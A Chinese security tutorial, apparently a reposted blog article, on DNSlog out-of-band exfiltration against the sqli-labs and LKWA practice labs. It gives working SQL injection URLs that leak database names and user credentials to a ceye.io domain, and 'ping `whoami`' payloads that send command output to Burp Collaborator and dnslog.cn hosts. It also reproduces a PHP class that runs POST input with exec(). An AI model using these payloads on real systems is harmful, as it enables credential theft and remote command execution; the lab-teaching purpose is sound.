dnslog实现sql注入及远程命令执行

admin 2022年3月17日10:22:58评论667 views字数 4118阅读13分43秒阅读模式



dnslog实现sql注入及远程命令执行

Dnslog盲注

1、DNS


DNS(Domain Name System,域名系统),因特网上作为域名和IP地址相互映射的一个分布式数据库,能够使用户更方便的访问互联网,而不用去记住能够被机器直接读取的IP数串。通过主机名,最终得到该主机名对应的IP地址的过程叫做域名解析(或主机名解析)。DNS协议运行在UDP协议之上,使用端口号53。在RFC文档中RFC 2181对DNS有规范说明,RFC 2136对DNS的动态更新进行说明,RFC 2308对DNS查询的反向缓存进行说明。


2、Dnslog


Dnslog就是存储在DNS Server上的域名信息它记录着用户对域名www.test.com、www.t00ls.com.等网站的访问信息。


DnsLog盲注


对于SQL盲注,我们可以通过布尔或者时间盲注获取内容,但是整个过程效率低,需要发送很多的请求进行判断,容易触发安全设备的防护,Dnslog盲注可以减少发送的请求,直接回显数据实现注入 使用DnsLog盲注仅限于windos环境。


dnslog注入常用于如下几种情况:

  1. SQL注入中的盲注

  2. 无回显的命令执行

  3. 无回显的SSRF


原理图:


dnslog实现sql注入及远程命令执行


如图,攻击者首先提交注入语句select load_file(concat('\','攻击语句',.XXX.ceye.ioabc))

在数据库中攻击语句被执行,由concat函数将执行结果与XXX.ceye.io\abc拼接,构成一个新的域名,而mysql中的select load_file()可以发起请求,那么这一条带有数据库查询结果的域名就被提交到DNS服务器进行解析。


此时,如果我们可以查看DNS服务器上的Dnslog就可以得到SQL注入结果。那么我们如何获得这条DNS查询记录呢?注意注入语句中的ceye.io,这其实是一个开放的Dnslog平台(具体用法在官网可见),在http://ceye.io上我们可以获取到有关ceye.io的DNS查询信息。实际上在域名解析的过程中,是由顶级域名向下逐级解析的,我们构造的攻击语句也是如此,当它发现域名中存在ceye.io时,它会将这条域名信息转到相应的NS服务器上,而通过http://ceye.io我们就可以查询到这条DNS解析记录。


3、UNC路径


以下是百度的UNC路径的解释


UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。


其实我们平常在Widnows中用共享文件的时候就会用到这种网络地址的形式

sss.xxxtest

因为Linux没有UNC路径这个东西,所以当MySQL处于Linux系统中的时候,是不能使用这种方式外带数据的


4、通过dnslog实现SQL注入


这里以sqlilab第一关做演示。

首先注册一个ceye.io的账号,作为dns注入的平台,http://ceye.io 这是一个免费的记录dnslog的平台,我们注册后到控制面板会给你一个二级域名:xxx.ceye.io,当我们把注入信息放到三级域名那里,后台的日志会记录下来。


dnslog实现sql注入及远程命令执行


这里看看Identifier中的结构,Ceye.io 就不用说了,前面的  xxx.ceye.io是你的个人域名。Dns注入最后的效果呢就是在xxx.ceye.io前面显示你注入的结果。例如:你得到的数据库是test,那么效果则是:test.xxxx.ceye.io。


这里开始我们的注入流程。

  1. 获取数据库名。

http://192.168.0.103/sqllabs/Less-1/?id=1' and if((select load_file(concat('\\',(select database()),'.rjv5di.ceye.io\abc'))),1,0)--+

其中load_file()函数发起请求,使用Dnslog接受请求,获取数据。

运行结果如下:


dnslog实现sql注入及远程命令执行


这里可以得到数据库名为security


  1. 获取数据表名

http://192.168.0.103/sqllabs/Less-1/?id=1' and if((select load_file(concat('\\',(select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1),'.rjv5di.ceye.io\abc'))),1,0) --+


dnslog实现sql注入及远程命令执行


这里可以得到第一张表的表名为email


通过修改limit的值,即可得到第二张表 后面的就不在演示了。


dnslog实现sql注入及远程命令执行


也可以直接通过如下payload获取所有的表名

http://192.168.0.103/sqllabs/Less-1/?id=1' and if((select load_file(concat('\\',(select hex(group_concat(table_name)) from information_schema.tables where table_schema=0x7365637572697479 limit 1),'.rjv5di.ceye.io\abc'))),1,0) --+

运行结果如下:


dnslog实现sql注入及远程命令执行


将获取到的数据进行还原。


dnslog实现sql注入及远程命令执行


表名分别为: emails,referers,uagents,users


  1. 获取列名

http://192.168.0.103/sqllabs/Less-1/?id=1' and if((select load_file(concat('\\',(select column_name from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273 limit 1,1),'.rjv5di.ceye.io\abc'))),1,0) --+


dnslog实现sql注入及远程命令执行


获取到列名为username,通过修改limit的值即可得到所有列名。

也可以直接通过如下payload获取所有的列名

http://192.168.0.103/sqllabs/Less-1/?id=1' and if((select load_file(concat('\\',(select hex(group_concat(column_name)) from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273 limit 1),'.rjv5di.ceye.io\abc'))),1,0) --+


运行结果如下:


dnslog实现sql注入及远程命令执行



将得到的数据进行还原


dnslog实现sql注入及远程命令执行


列名分别为:id、username、password

  1. 获取字段名

http://192.168.0.103/sqllabs/Less-1/?id=1' and if((select load_file(concat('\\',(select hex(concat_ws('~',username,password)) from users limit 0,1),'.rjv5di.ceye.io\abc'))),1,0) --+

因为在load_file里面不能使用@ ~等符号所以要区分数据我们可以先用group_ws()函数分割在用hex()函数转成十六进制即可 出来了再转回去。


dnslog实现sql注入及远程命令执行


将得到的十六进制进行转换,即可得到用户名和密码。


dnslog实现sql注入及远程命令执行


5、通过dnslog实现远程命令执行


这里以LKWA靶场中的blind_rce为例。

项目地址:https://github.com/weev3/LKWA

5.1、漏洞代码

class Rce {
    private $user_input;
    private $level;
    function __construct() {
        // 这里会通过post方式接受传入参数
        $this->user_input = isset($_POST['user_input']) ? $_POST['user_input'] : null;
        $this->level = isset($_POST['level']) ? $_POST['level'] : null;
    }

    function start() {
        if (empty($this->user_input)) {

        }

        else{
            //若接受到的user_input参数不为空,则执行接受到的参数,但没有结果返回
                exec($this->user_input);
        }
    }
}

$rce = new Rce();
if(!empty($_POST))
{
    $rce->start();
}


5.2、漏洞利用


方式一:通过burp的Burpsuite Collaborato模块来查看输出。

Burpsuite Collaborato模块具体介绍和使用可以参考:Burpsuite Collaborato模块详解 - FreeBuf网络安全行业门户

首先打开burpsuite配置Burpsuite Collaborato服务器


dnslog实现sql注入及远程命令执行


然后点击burp,启动Burp Collaborator client


dnslog实现sql注入及远程命令执行


点击Copy to clipbooard会得到一个payload


dnslog实现sql注入及远程命令执行


在存在远程目录执行的位置执行如下payload。

ping `whoami`.hcxnn3m1crgnebrhoa3qy1xh88ey2n.burpcollaborator.net

然后可以在BurpCollaborator client中点击Pollnow即可得到命令返回的结果


dnslog实现sql注入及远程命令执行


方式二、通过dnslog在线网站显示输出

首先到http://www.dnslog.cn/获取一个subdomain


dnslog实现sql注入及远程命令执行


然后在存在远程命令执行的位置执行如下payload。

ping `whoami`.yor4p0.dnslog.cn


dnslog实现sql注入及远程命令执行


然后点击Refresh Record即可得到命令返回的结果


dnslog实现sql注入及远程命令执行


dnslog实现sql注入及远程命令执行

本文始发于微信公众号(疯猫网络):dnslog实现sql注入及远程命令执行

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月17日10:22:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   dnslog实现sql注入及远程命令执行https://cn-sec.com/archives/503490.html

发表评论

匿名网友 填写信息